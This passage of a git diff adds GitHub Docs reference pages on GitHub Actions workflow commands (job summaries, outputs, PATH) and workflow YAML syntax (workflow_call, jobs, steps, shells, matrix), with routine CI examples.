uses `EOF` as a delimiter, and sets the `JSON_RESPONSE` environment variable to the value of the `curl` response. + +{% bash %} + +```yaml{:copy} +steps: + - name: Set the value in bash + id: step_one + run: | + echo 'JSON_RESPONSE<> $GITHUB_ENV + curl https://example.com >> $GITHUB_ENV + echo 'EOF' >> $GITHUB_ENV +``` + +{% endbash %} + +{% powershell %} + +```yaml{:copy} +steps: + - name: Set the value in pwsh + id: step_one + run: | + "JSON_RESPONSE<> $env:GITHUB_ENV + (Invoke-WebRequest -Uri "https://example.com").Content >> $env:GITHUB_ENV + "EOF" >> $env:GITHUB_ENV + shell: pwsh +``` + +{% endpowershell %} + +{% ifversion actions-save-state-set-output-envs %} +## Setting an output parameter + +Sets a step's output parameter. Note that the step will need an `id` to be defined to later retrieve the output value. + +{% bash %} + +```bash{:copy} +echo "{name}={value}" >> $GITHUB_OUTPUT +``` +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +"{name}=value" >> $env:GITHUB_OUTPUT +``` + +{% endpowershell %} + +### Example + +{% bash %} + +This example demonstrates how to set the `SELECTED_COLOR` output parameter and later retrieve it: + +{% raw %} +```yaml{:copy} + - name: Set color + id: random-color-generator + run: echo "SELECTED_COLOR=green" >> $GITHUB_OUTPUT + - name: Get color + run: echo "The selected color is ${{ steps.random-color-generator.outputs.SELECTED_COLOR }}" +``` +{% endraw %} + +{% endbash %} + +{% powershell %} + +{% raw %} +This example demonstrates how to set the `SELECTED_COLOR` output parameter and later retrieve it: + +```yaml{:copy} + - name: Set color + id: random-color-generator + run: | + "SELECTED_COLOR=green" >> $env:GITHUB_OUTPUT + - name: Get color + run: Write-Output "The selected color is ${{ steps.random-color-generator.outputs.SELECTED_COLOR }}" +``` +{% endraw %} + +{% endpowershell %} +{% endif %} + +{% ifversion actions-job-summaries %} + +## Adding a job summary + +{% bash %} + +```bash{:copy} +echo "{markdown content}" >> $GITHUB_STEP_SUMMARY +``` + +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +"{markdown content}" >> $env:GITHUB_STEP_SUMMARY +``` + +{% endpowershell %} + +You can set some custom Markdown for each job so that it will be displayed on the summary page of a workflow run. You can use job summaries to display and group unique content, such as test result summaries, so that someone viewing the result of a workflow run doesn't need to go into the logs to see important information related to the run, such as failures. + +Job summaries support [{% data variables.product.prodname_dotcom %} flavored Markdown](https://github.github.com/gfm/), and you can add your Markdown content for a step to the `GITHUB_STEP_SUMMARY` environment file. `GITHUB_STEP_SUMMARY` is unique for each step in a job. For more information about the per-step file that `GITHUB_STEP_SUMMARY` references, see "[Environment files](#environment-files)." + +When a job finishes, the summaries for all steps in a job are grouped together into a single job summary and are shown on the workflow run summary page. If multiple jobs generate summaries, the job summaries are ordered by job completion time. + +### Example + +{% bash %} + +```bash{:copy} +echo "### Hello world! :rocket:" >> $GITHUB_STEP_SUMMARY +``` + +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +"### Hello world! :rocket:" >> $env:GITHUB_STEP_SUMMARY +``` + +{% endpowershell %} + +![Markdown summary example](/assets/images/actions-job-summary-simple-example.png) + +### Multiline Markdown content + +For multiline Markdown content, you can use `>>` to continuously append content for the current step. With every append operation, a newline character is automatically added. + +#### Example + +{% bash %} + +```yaml +- name: Generate list using Markdown + run: | + echo "This is the lead in sentence for the list" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY # this is a blank line + echo "- Lets add a bullet point" >> $GITHUB_STEP_SUMMARY + echo "- Lets add a second bullet point" >> $GITHUB_STEP_SUMMARY + echo "- How about a third one?" >> $GITHUB_STEP_SUMMARY +``` + +{% endbash %} + +{% powershell %} + +```yaml +- name: Generate list using Markdown + run: | + "This is the lead in sentence for the list" >> $env:GITHUB_STEP_SUMMARY + "" >> $env:GITHUB_STEP_SUMMARY # this is a blank line + "- Lets add a bullet point" >> $env:GITHUB_STEP_SUMMARY + "- Lets add a second bullet point" >> $env:GITHUB_STEP_SUMMARY + "- How about a third one?" >> $env:GITHUB_STEP_SUMMARY +``` + +{% endpowershell %} + +### Overwriting job summaries + +To clear all content for the current step, you can use `>` to overwrite any previously added content. + +#### Example + +{% bash %} + +```yaml +- name: Overwrite Markdown + run: | + echo "Adding some Markdown content" >> $GITHUB_STEP_SUMMARY + echo "There was an error, we need to clear the previous Markdown with some new content." > $GITHUB_STEP_SUMMARY +``` + +{% endbash %} + +{% powershell %} + +```yaml +- name: Overwrite Markdown + run: | + "Adding some Markdown content" >> $env:GITHUB_STEP_SUMMARY + "There was an error, we need to clear the previous Markdown with some new content." > $env:GITHUB_STEP_SUMMARY +``` + +{% endpowershell %} + +### Removing job summaries + +To completely remove a summary for the current step, the file that `GITHUB_STEP_SUMMARY` references can be deleted. + +#### Example + +{% bash %} + +```yaml +- name: Delete all summary content + run: | + echo "Adding Markdown content that we want to remove before the step ends" >> $GITHUB_STEP_SUMMARY + rm $GITHUB_STEP_SUMMARY +``` + +{% endbash %} + +{% powershell %} + +```yaml +- name: Delete all summary content + run: | + "Adding Markdown content that we want to remove before the step ends" >> $env:GITHUB_STEP_SUMMARY + rm $env:GITHUB_STEP_SUMMARY +``` + +{% endpowershell %} + +After a step has completed, job summaries are uploaded and subsequent steps cannot modify previously uploaded Markdown content. Summaries automatically mask any secrets that might have been added accidentally. If a job summary contains sensitive information that must be deleted, you can delete the entire workflow run to remove all its job summaries. For more information see "[Deleting a workflow run](/actions/managing-workflow-runs/deleting-a-workflow-run)." + +### Step isolation and limits + +Job summaries are isolated between steps and each step is restricted to a maximum size of 1MiB. Isolation is enforced between steps so that potentially malformed Markdown from a single step cannot break Markdown rendering for subsequent steps. If more than 1MiB of content is added for a step, then the upload for the step will fail and an error annotation will be created. Upload failures for job summaries do not affect the overall status of a step or a job. A maximum of 20 job summaries from steps are displayed per job. + +{% endif %} + +## Adding a system path + +Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. To see the currently defined paths for your job, you can use `echo "$PATH"` in a step or an action. + +{% bash %} + +```bash{:copy} +echo "{path}" >> $GITHUB_PATH +``` +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +"{path}" >> $env:GITHUB_PATH +``` + +{% endpowershell %} + +### Example + +{% bash %} + +This example demonstrates how to add the user `$HOME/.local/bin` directory to `PATH`: + +```bash{:copy} +echo "$HOME/.local/bin" >> $GITHUB_PATH +``` + +{% endbash %} + +{% powershell %} + +This example demonstrates how to add the user `$env:HOMEPATH/.local/bin` directory to `PATH`: + +```pwsh{:copy} +"$env:HOMEPATH/.local/bin" >> $env:GITHUB_PATH +``` + +{% endpowershell %} diff --git a/translations/ru-RU/content/actions/using-workflows/workflow-syntax-for-github-actions.md b/translations/ru-RU/content/actions/using-workflows/workflow-syntax-for-github-actions.md new file mode 100644 index 000000000000..4969f6b53edc --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/workflow-syntax-for-github-actions.md @@ -0,0 +1,1110 @@ +--- +title: Workflow syntax for GitHub Actions +shortTitle: Workflow syntax +intro: A workflow is a configurable automated process made up of one or more jobs. You must create a YAML file to define your workflow configuration. +redirect_from: + - /articles/workflow-syntax-for-github-actions + - /github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions + - /actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions + - /actions/reference/workflow-syntax-for-github-actions + - /actions/learn-github-actions/workflow-syntax-for-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 4 +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About YAML syntax for workflows + +Workflow files use YAML syntax, and must have either a `.yml` or `.yaml` file extension. {% data reusables.actions.learn-more-about-yaml %} + +You must store workflow files in the `.github/workflows` directory of your repository. + +## `name` + +The name of your workflow. {% data variables.product.prodname_dotcom %} displays the names of your workflows on your repository's "Actions" tab. If you omit `name`, {% data variables.product.prodname_dotcom %} sets it to the workflow file path relative to the root of the repository. + +{% ifversion actions-run-name %} +## `run-name` + +The name for workflow runs generated from the workflow. {% data variables.product.prodname_dotcom %} displays the workflow run name in the list of workflow runs on your repository's "Actions" tab. If `run-name` is omitted or is only whitespace, then the run name is set to event-specific information for the workflow run. For example, for a workflow triggered by a `push` or `pull_request` event, it is set as the commit message. + +This value can include expressions and can reference the [`github`](/actions/learn-github-actions/contexts#github-context) and [`inputs`](/actions/learn-github-actions/contexts#inputs-context) contexts. + +### Example + +{% raw %} +```yaml +run-name: Deploy to ${{ inputs.deploy_target }} by @${{ github.actor }} +``` +{% endraw %} +{% endif %} + +## `on` + +{% data reusables.actions.workflows.section-triggering-a-workflow %} + +### `on..types` + +{% data reusables.actions.workflows.section-triggering-a-workflow-types %} + +### `on..` + +{% data reusables.actions.workflows.section-triggering-a-workflow-branches %} + +### `on.push.` + +{% data reusables.actions.workflows.section-run-on-specific-branches-or-tags %} + +### `on..` + +{% data reusables.actions.workflows.section-triggering-a-workflow-paths %} + +### `on.schedule` + +{% data reusables.actions.workflows.section-triggering-a-workflow-schedule %} + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +## `on.workflow_call` + +{% data reusables.actions.reusable-workflows-ghes-beta %} + +Use `on.workflow_call` to define the inputs and outputs for a reusable workflow. You can also map the secrets that are available to the called workflow. For more information on reusable workflows, see "[Reusing workflows](/actions/using-workflows/reusing-workflows)." + +### `on.workflow_call.inputs` + +When using the `workflow_call` keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow. For more information about the `workflow_call` keyword, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events)." + +In addition to the standard input parameters that are available, `on.workflow_call.inputs` requires a `type` parameter. For more information, see [`on.workflow_call.inputs..type`](#onworkflow_callinputsinput_idtype). + +If a `default` parameter is not set, the default value of the input is `false` for a boolean, `0` for a number, and `""` for a string. + +Within the called workflow, you can use the `inputs` context to refer to an input. + +If a caller workflow passes an input that is not specified in the called workflow, this results in an error. + +#### Example + +{% raw %} +```yaml +on: + workflow_call: + inputs: + username: + description: 'A username passed from the caller workflow' + default: 'john-doe' + required: false + type: string + +jobs: + print-username: + runs-on: ubuntu-latest + + steps: + - name: Print the input name to STDOUT + run: echo The username is ${{ inputs.username }} +``` +{% endraw %} + +For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." + +#### `on.workflow_call.inputs..type` + +Required if input is defined for the `on.workflow_call` keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: `boolean`, `number`, or `string`. + +### `on.workflow_call.outputs` + +A map of outputs for a called workflow. Called workflow outputs are available to all downstream jobs in the caller workflow. Each output has an identifier, an optional `description,` and a `value.` The `value` must be set to the value of an output from a job within the called workflow. + +In the example below, two outputs are defined for this reusable workflow: `workflow_output1` and `workflow_output2`. These are mapped to outputs called `job_output1` and `job_output2`, both from a job called `my_job`. + +#### Example + +{% raw %} +```yaml +on: + workflow_call: + # Map the workflow outputs to job outputs + outputs: + workflow_output1: + description: "The first job output" + value: ${{ jobs.my_job.outputs.job_output1 }} + workflow_output2: + description: "The second job output" + value: ${{ jobs.my_job.outputs.job_output2 }} +``` +{% endraw %} + +For information on how to reference a job output, see [`jobs..outputs`](#jobsjob_idoutputs). For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." + +### `on.workflow_call.secrets` + +A map of the secrets that can be used in the called workflow. + +Within the called workflow, you can use the `secrets` context to refer to a secret. + +If a caller workflow passes a secret that is not specified in the called workflow, this results in an error. + +#### Example + +{% raw %} +```yaml +on: + workflow_call: + secrets: + access-token: + description: 'A token passed from the caller workflow' + required: false + +jobs: + pass-secret-to-action: + runs-on: ubuntu-latest + + steps: + - name: Pass the received secret to an action + uses: ./.github/actions/my-action + with: + token: ${{ secrets.access-token }} +``` +{% endraw %} + +#### `on.workflow_call.secrets.` + +A string identifier to associate with the secret. + +#### `on.workflow_call.secrets..required` + +A boolean specifying whether the secret must be supplied. +{% endif %} + +## `on.workflow_run.` + +{% data reusables.actions.workflows.section-specifying-branches %} + +## `on.workflow_dispatch.inputs` + +{% data reusables.actions.workflow-dispatch-inputs %} + +## `permissions` + +{% data reusables.actions.jobs.section-assigning-permissions-to-jobs %} + +## `env` + +A `map` of environment variables that are available to the steps of all jobs in the workflow. You can also set environment variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs..env`](#jobsjob_idenv) and [`jobs..steps[*].env`](#jobsjob_idstepsenv). + +Variables in the `env` map cannot be defined in terms of other variables in the map. + +{% data reusables.repositories.actions-env-var-note %} + +### Example + +```yaml +env: + SERVER: production +``` + +## `defaults` + +{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults %} + +### `defaults.run` + +{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run %} + +## `concurrency` + +{% data reusables.actions.jobs.section-using-concurrency %} + +## `jobs` + +{% data reusables.actions.jobs.section-using-jobs-in-a-workflow %} + +### `jobs.` + +{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-id %} + +### `jobs..name` + +{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-name %} + +### `jobs..permissions` + +{% data reusables.actions.jobs.section-assigning-permissions-to-jobs-specific %} + +## `jobs..needs` + +{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-needs %} + +## `jobs..if` + +{% data reusables.actions.jobs.section-using-conditions-to-control-job-execution %} + +## `jobs..runs-on` + +{% data reusables.actions.jobs.section-choosing-the-runner-for-a-job %} + +## `jobs..environment` + +{% data reusables.actions.jobs.section-using-environments-for-jobs %} + +## `jobs..concurrency` + +{% data reusables.actions.jobs.section-using-concurrency-jobs %} + +## `jobs..outputs` + +{% data reusables.actions.jobs.section-defining-outputs-for-jobs %} + +## `jobs..env` + +A `map` of environment variables that are available to all steps in the job. You can also set environment variables for the entire workflow or an individual step. For more information, see [`env`](#env) and [`jobs..steps[*].env`](#jobsjob_idstepsenv). + +{% data reusables.repositories.actions-env-var-note %} + +### Example + +```yaml +jobs: + job1: + env: + FIRST_NAME: Mona +``` + +## `jobs..defaults` + +{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job %} + +### `jobs..defaults.run` + +{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job-run %} + +## `jobs..steps` + +A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job. + +You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %} + +### Example + +{% raw %} +```yaml +name: Greeting from Mona + +on: push + +jobs: + my-job: + name: My Job + runs-on: ubuntu-latest + steps: + - name: Print a greeting + env: + MY_VAR: Hi there! My name is + FIRST_NAME: Mona + MIDDLE_NAME: The + LAST_NAME: Octocat + run: | + echo $MY_VAR $FIRST_NAME $MIDDLE_NAME $LAST_NAME. +``` +{% endraw %} + +### `jobs..steps[*].id` + +A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." + +### `jobs..steps[*].if` + +You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional. + +{% data reusables.actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)." + +#### Example: Using contexts + + This step only runs when the event type is a `pull_request` and the event action is `unassigned`. + + ```yaml +steps: + - name: My first step + if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %} + run: echo This event is a pull request that had an assignee removed. +``` + +#### Example: Using status check functions + +The `my backup step` only runs when the previous step of a job fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#status-check-functions)." + +```yaml +steps: + - name: My first step + uses: octo-org/action-name@main + - name: My backup step + if: {% raw %}${{ failure() }}{% endraw %} + uses: actions/heroku@1.0.0 +``` + +#### Example: Using secrets + +Secrets cannot be directly referenced in `if:` conditionals. Instead, consider setting secrets as job-level environment variables, then referencing the environment variables to conditionally run steps in the job. + +If a secret has not been set, the return value of an expression referencing the secret (such as {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} in the example) will be an empty string. + +{% raw %} +```yaml +name: Run a step if a secret has been set +on: push +jobs: + my-jobname: + runs-on: ubuntu-latest + env: + super_secret: ${{ secrets.SuperSecret }} + steps: + - if: ${{ env.super_secret != '' }} + run: echo 'This step will only run if the secret has a value set.' + - if: ${{ env.super_secret == '' }} + run: echo 'This step will only run if the secret does not have a value set.' +``` +{% endraw %} + +For more information, see "[Context availability](/actions/learn-github-actions/contexts#context-availability)" and "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +### `jobs..steps[*].name` + +A name for your step to display on {% data variables.product.prodname_dotcom %}. + +### `jobs..steps[*].uses` + +Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/). + +We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update. +- Using the commit SHA of a released action version is the safest for stability and security. +- If the action publishes major version tags, you should expect to receive critical fixes and security patches while still retaining compatibility. Note that this behavior is at the discretion of the action's author. +- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break. + +Some actions require inputs that you must set using the [`with`](#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required. + +Actions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux environment. For more details, see [`runs-on`](#jobsjob_idruns-on). + +#### Example: Using versioned actions + +```yaml +steps: + # Reference a specific commit + - uses: actions/checkout@a81bbbf8298c0fa03ea29cdc473d45769f953675 + # Reference the major version of a release + - uses: {% data reusables.actions.action-checkout %} + # Reference a specific version + - uses: {% data reusables.actions.action-checkout %}.2.0 + # Reference a branch + - uses: actions/checkout@main +``` + +#### Example: Using a public action + +`{owner}/{repo}@{ref}` + +You can specify a branch, ref, or SHA in a public {% data variables.product.prodname_dotcom %} repository. + +```yaml +jobs: + my_first_job: + steps: + - name: My first step + # Uses the default branch of a public repository + uses: actions/heroku@main + - name: My second step + # Uses a specific version tag of a public repository + uses: actions/aws@v2.0.1 +``` + +#### Example: Using a public action in a subdirectory + +`{owner}/{repo}/{path}@{ref}` + +A subdirectory in a public {% data variables.product.prodname_dotcom %} repository at a specific branch, ref, or SHA. + +```yaml +jobs: + my_first_job: + steps: + - name: My first step + uses: actions/aws/ec2@main +``` + +#### Example: Using an action in the same repository as the workflow + +`./path/to/dir` + +The path to the directory that contains the action in your workflow's repository. You must check out your repository before using the action. + +```yaml +jobs: + my_first_job: + steps: + - name: Check out repository + uses: {% data reusables.actions.action-checkout %} + - name: Use local my-action + uses: ./.github/actions/my-action +``` + +#### Example: Using a Docker Hub action + +`docker://{image}:{tag}` + +A Docker image published on [Docker Hub](https://hub.docker.com/). + +```yaml +jobs: + my_first_job: + steps: + - name: My first step + uses: docker://alpine:3.8 +``` + +{% ifversion fpt or ghec %} +#### Example: Using the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} + +`docker://{host}/{image}:{tag}` + +A Docker image in the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}. + +```yaml +jobs: + my_first_job: + steps: + - name: My first step + uses: docker://ghcr.io/OWNER/IMAGE_NAME +``` +{% endif %} +#### Example: Using a Docker public registry action + +`docker://{host}/{image}:{tag}` + +A Docker image in a public registry. This example uses the Google Container Registry at `gcr.io`. + +```yaml +jobs: + my_first_job: + steps: + - name: My first step + uses: docker://gcr.io/cloud-builders/gradle +``` + +#### Example: Using an action inside a different private repository than the workflow + +Your workflow must checkout the private repository and reference the action locally. Generate a {% data variables.product.pat_generic %} and add the token as an encrypted secret. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)." + +Replace `PERSONAL_ACCESS_TOKEN` in the example with the name of your secret. + +```yaml +jobs: + my_first_job: + steps: + - name: Check out repository + uses: {% data reusables.actions.action-checkout %} + with: + repository: octocat/my-private-repo + ref: v1.0 + token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %} + path: ./.github/actions/my-private-repo + - name: Run my action + uses: ./.github/actions/my-private-repo/my-action +``` + +### `jobs..steps[*].run` + +Runs command-line programs using the operating system's shell. If you do not provide a `name`, the step name will default to the text specified in the `run` command. + +Commands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see [`jobs..steps[*].shell`](#jobsjob_idstepsshell). + +Each `run` keyword represents a new process and shell in the runner environment. When you provide multi-line commands, each line runs in the same shell. For example: + +* A single-line command: + + ```yaml + - name: Install Dependencies + run: npm install + ``` + +* A multi-line command: + + ```yaml + - name: Clean install dependencies and build + run: | + npm ci + npm run build + ``` + +Using the `working-directory` keyword, you can specify the working directory of where to run the command. + +```yaml +- name: Clean temp directory + run: rm -rf * + working-directory: ./temp +``` + +### `jobs..steps[*].shell` + +You can override the default shell settings in the runner's operating system using the `shell` keyword. You can use built-in `shell` keywords, or you can define a custom set of shell options. The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword. + +| Supported platform | `shell` parameter | Description | Command run internally | +|--------------------|-------------------|-------------|------------------------| +| Linux / macOS | unspecified | The default shell on non-Windows platforms. Note that this runs a different command to when `bash` is specified explicitly. If `bash` is not found in the path, this is treated as `sh`. | `bash -e {0}` | +| All | `bash` | The default shell on non-Windows platforms with a fallback to `sh`. When specifying a bash shell on Windows, the bash shell included with Git for Windows is used. | `bash --noprofile --norc -eo pipefail {0}` | +| All | `pwsh` | The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `pwsh -command ". '{0}'"` | +| All | `python` | Executes the python command. | `python {0}` | +| Linux / macOS | `sh` | The fallback behavior for non-Windows platforms if no shell is provided and `bash` is not found in the path. | `sh -e {0}` | +| Windows | `cmd` | {% data variables.product.prodname_dotcom %} appends the extension `.cmd` to your script name and substitutes for `{0}`. | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. | +| Windows | `pwsh` | This is the default shell used on Windows. The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. If your self-hosted Windows runner does not have _PowerShell Core_ installed, then _PowerShell Desktop_ is used instead.| `pwsh -command ". '{0}'"`. | +| Windows | `powershell` | The PowerShell Desktop. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `powershell -command ". '{0}'"`. | + +#### Example: Running a script using bash + +```yaml +steps: + - name: Display the path + run: echo $PATH + shell: bash +``` + +#### Example: Running a script using Windows `cmd` + +```yaml +steps: + - name: Display the path + run: echo %PATH% + shell: cmd +``` + +#### Example: Running a script using PowerShell Core + +```yaml +steps: + - name: Display the path + run: echo ${env:PATH} + shell: pwsh +``` + +#### Example: Using PowerShell Desktop to run a script + +```yaml +steps: + - name: Display the path + run: echo ${env:PATH} + shell: powershell +``` + +#### Example: Running a python script + +```yaml +steps: + - name: Display the path + run: | + import os + print(os.environ['PATH']) + shell: python +``` + +#### Custom shell + +You can set the `shell` value to a template string using `command […options] {0} [..more_options]`. {% data variables.product.prodname_dotcom %} interprets the first whitespace-delimited word of the string as the command, and inserts the file name for the temporary script at `{0}`. + +For example: + +```yaml +steps: + - name: Display the environment variables and their values + run: | + print %ENV + shell: perl {0} +``` + +The command used, `perl` in this example, must be installed on the runner. + +{% ifversion ghae %} +{% data reusables.actions.self-hosted-runners-software %} +{% elsif fpt or ghec %} +For information about the software included on GitHub-hosted runners, see "[Specifications for GitHub-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)." +{% endif %} + +#### Exit codes and error action preference + +For built-in shell keywords, we provide the following defaults that are executed by {% data variables.product.prodname_dotcom %}-hosted runners. You should use these guidelines when running shell scripts. + +- `bash`/`sh`: + - Fail-fast behavior using `set -eo pipefail`: This option is set when `shell: bash` is explicitly specified. It is not applied by default. + - You can take full control over shell parameters by providing a template string to the shell options. For example, `bash {0}`. + - sh-like shells exit with the exit code of the last command executed in a script, which is also the default behavior for actions. The runner will report the status of the step as fail/succeed based on this exit code. + +- `powershell`/`pwsh` + - Fail-fast behavior when possible. For `pwsh` and `powershell` built-in shell, we will prepend `$ErrorActionPreference = 'stop'` to script contents. + - We append `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` to powershell scripts so action statuses reflect the script's last exit code. + - Users can always opt out by not using the built-in shell, and providing a custom shell option like: `pwsh -File {0}`, or `powershell -Command "& '{0}'"`, depending on need. + +- `cmd` + - There doesn't seem to be a way to fully opt into fail-fast behavior other than writing your script to check each error code and respond accordingly. Because we can't actually provide that behavior by default, you need to write this behavior into your script. + - `cmd.exe` will exit with the error level of the last program it executed, and it will return the error code to the runner. This behavior is internally consistent with the previous `sh` and `pwsh` default behavior and is the `cmd.exe` default, so this behavior remains intact. + +### `jobs..steps[*].with` + +A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with `INPUT_` and converted to upper case. + +#### Example + +Defines the three input parameters (`first_name`, `middle_name`, and `last_name`) defined by the `hello_world` action. These input variables will be accessible to the `hello-world` action as `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME`, and `INPUT_LAST_NAME` environment variables. + +```yaml +jobs: + my_first_job: + steps: + - name: My first step + uses: actions/hello_world@main + with: + first_name: Mona + middle_name: The + last_name: Octocat +``` + +### `jobs..steps[*].with.args` + +A `string` that defines the inputs for a Docker container. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. An `array of strings` is not supported by this parameter. + +#### Example + +{% raw %} +```yaml +steps: + - name: Explain why this job ran + uses: octo-org/action-name@main + with: + entrypoint: /bin/echo + args: The ${{ github.event_name }} event triggered this step. +``` +{% endraw %} + +The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference: + +1. Document required arguments in the action's README and omit them from the `CMD` instruction. +1. Use defaults that allow using the action without specifying any `args`. +1. If the action exposes a `--help` flag, or something similar, use that as the default to make your action self-documenting. + +### `jobs..steps[*].with.entrypoint` + +Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Unlike the Docker `ENTRYPOINT` instruction which has a shell and exec form, `entrypoint` keyword accepts only a single string defining the executable to be run. + +#### Example + +```yaml +steps: + - name: Run a custom command + uses: octo-org/action-name@main + with: + entrypoint: /a/different/executable +``` + +The `entrypoint` keyword is meant to be used with Docker container actions, but you can also use it with JavaScript actions that don't define any inputs. + +### `jobs..steps[*].env` + +Sets environment variables for steps to use in the runner environment. You can also set environment variables for the entire workflow or a job. For more information, see [`env`](#env) and [`jobs..env`](#jobsjob_idenv). + +{% data reusables.repositories.actions-env-var-note %} + +Public actions may specify expected environment variables in the README file. If you are setting a secret in an environment variable, you must set secrets using the `secrets` context. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)." + +#### Example + +{% raw %} +```yaml +steps: + - name: My first action + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + FIRST_NAME: Mona + LAST_NAME: Octocat +``` +{% endraw %} + +### `jobs..steps[*].continue-on-error` + +Prevents a job from failing when a step fails. Set to `true` to allow a job to pass when this step fails. + +### `jobs..steps[*].timeout-minutes` + +The maximum number of minutes to run the step before killing the process. + +## `jobs..timeout-minutes` + +The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360 + +If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration#usage-limits)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %} + +{% note %} + +**Note:** {% data reusables.actions.github-token-expiration %} For self-hosted runners, the token may be the limiting factor if the job timeout is greater than 24 hours. For more information on the `GITHUB_TOKEN`, see "[About the `GITHUB_TOKEN` secret](/actions/security-guides/automatic-token-authentication#about-the-github_token-secret)." + +{% endnote %} + +## `jobs..strategy` + +Use `jobs..strategy` to use a matrix strategy for your jobs. {% data reusables.actions.jobs.about-matrix-strategy %} For more information, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)." + +### `jobs..strategy.matrix` + +{% data reusables.actions.jobs.using-matrix-strategy %} + +#### Example: Using a single-dimension matrix + +{% data reusables.actions.jobs.single-dimension-matrix %} + +#### Example: Using a multi-dimension matrix + +{% data reusables.actions.jobs.multi-dimension-matrix %} + +#### Example: Using contexts to create matrices + +{% data reusables.actions.jobs.matrix-from-context %} + +### `jobs..strategy.matrix.include` + +{% data reusables.actions.jobs.matrix-include %} + +#### Example: Expanding configurations + +{% data reusables.actions.jobs.matrix-expand-with-include %} + +#### Example: Adding configurations + +{% data reusables.actions.jobs.matrix-add-with-include %} + +### 